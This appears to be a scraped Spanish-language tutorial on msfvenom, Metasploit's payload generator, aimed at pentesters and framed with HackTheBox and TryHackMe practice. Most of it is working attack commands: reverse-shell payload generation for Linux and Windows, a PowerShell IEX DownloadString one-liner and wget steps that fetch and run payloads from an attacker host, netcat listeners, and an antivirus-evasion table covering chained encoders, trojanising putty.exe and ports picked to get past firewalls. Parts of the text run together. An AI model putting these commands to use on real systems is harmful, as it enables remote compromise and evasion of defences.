msfvenom es una herramienta de generación de payloads que forma parte de Metasploit Framework. Combina las funcionalidades de las antiguas herramientas msfpayload y msfencode en una única utilidad moderna y poderosa.
🌐 Web Shells: Payloads PHP, ASP, JSP para servidores web
Ventaja clave
msfvenom automatiza la creación de payloads complejos que serían difíciles de escribir manualmente, y los adapta a diferentes arquitecturas y sistemas operativos.
🛠️ Instalación
msfvenom viene incluido en Metasploit Framework, disponible por defecto en:
# Desde CMDpowershell -ExecutionPolicy Bypass -File payload.ps1# Desde PowerShellIEX(New-Object Net.WebClient).DownloadString('http://192.168.1.100/payload.ps1')
Ejemplo 7: Linux ELF reverse shell
msfvenom -p linux/x64/shell_reverse_tcp \ LHOST=192.168.1.100 \ LPORT=4444 \ -f elf \ -o payload. elf# Dar permisos de ejecuciónchmod +x payload.elf
Transferir a víctima:
# En víctimawget http://192.168.1.100:8000/payload.elf./payload.elf
graph TD
A[1. Identificar objetivo] --> B{¿Qué SO?}
B -->|Windows| C[Payload Windows]
B -->|Linux| D[Payload Linux]
B -->|Android| E[Payload Android]
C --> F[2. Seleccionar formato]
D --> F
E --> F
F --> G{¿Necesita evasión?}
G -->|Sí| H[3. Añadir encoder]
G -->|No| I[3. Sin encoder]
H --> J[4. Generar payload]
I --> J
J --> K[5. Configurar listener]
K --> L[6. Transferir/ejecutar]
L --> M[7. Shell obtenida]
style M fill:#90EE90
💡 Tips y buenas prácticas
✅ Recomendaciones generales
Usa puertos comunes
En lugar de 4444, usa puertos que parecen legítimos:
443 (HTTPS)
80 (HTTP)
53 (DNS)
22 (SSH)
Esto ayuda a evadir firewalls.
Múltiples iteraciones de encoding
Para mejor evasión de AV:
-e x86/shikata_ga_nai -i 10
Entre 5-15 iteraciones es un buen balance.
[! warning] Encoders incrementan tamaño
Cada iteración de encoding aumenta el tamaño del payload. Si el espacio es limitado (buffer overflow), usa menos iteraciones.
Combina con plantillas legítimas
Inyectar en ejecutables conocidos reduce sospechas:
-x putty.exe -k
🛡️ Evasión de antivirus
Técnica
Comando
Efectividad
Encoder básico
-e x86/shikata_ga_nai
⭐⭐
Múltiples iteraciones
-i 10
⭐⭐⭐
Plantilla legítima
-x app.exe -k
⭐⭐⭐⭐
Encoders en cadena
-e encoder1 -i 5 -e encoder2 -i 3
⭐⭐⭐⭐
Ofuscación personalizada
Modificar shellcode manualmente
⭐⭐⭐⭐⭐
Ningún payload es indetectable
Los antivirus modernos usan heurística y análisis de comportamiento. La evasión total requiere técnicas avanzadas más allá de msfvenom.
⚠️ Errores comunes y soluciones
Error 1: “No encoder succeeded”
Causa: Bad characters demasiado restrictivos.
Solución:
# Verifica que los badchars sean correctos# Prueba con menos badchars-b '\x00' # Solo null byte
Error 2: Payload no ejecuta
Causa: Arquitectura incorrecta.
Solución:
# Para 32-bit explícito-a x86 --platform windows# Para 64-bit explícito-a x64 --platform windows
# Payload compatible con Windows XP en adelantemsfvenom -p windows/shell_reverse_tcp \ LHOST=192.168.1.100 \ LPORT=4444 \ --platform windows \ -a x86 \ -f exe \ -o compatible.exe
HackTheBox: Máquinas que requieren payloads personalizados
TryHackMe: Salas de Metasploit y Buffer Overflow
VulnHub: VMs vulnerables para practicar
🎓 Resumen ejecutivo
Aspecto
Detalle
Qué es
Generador de payloads de Metasploit Framework
Uso principal
Crear shellcode y ejecutables maliciosos
Formatos
EXE, ELF, APK, DLL, PHP, Python, C, PowerShell, etc.
Encoders
Shikata Ga Nai (mejor para x86), Zutto Dekiru (x64)
Bad chars
-b '\x00\x0a\x0d' (común en buffer overflow)
Listeners
Netcat (nc -nlvp PORT) o Metasploit Handler
Conclusión
msfvenom es la herramienta estándar de la industria para generación de payloads. Su versatilidad permite adaptarse a casi cualquier escenario de explotación, desde buffer overflows hasta backdoors en aplicaciones móviles. Dominar msfvenom es esencial para cualquier pentester.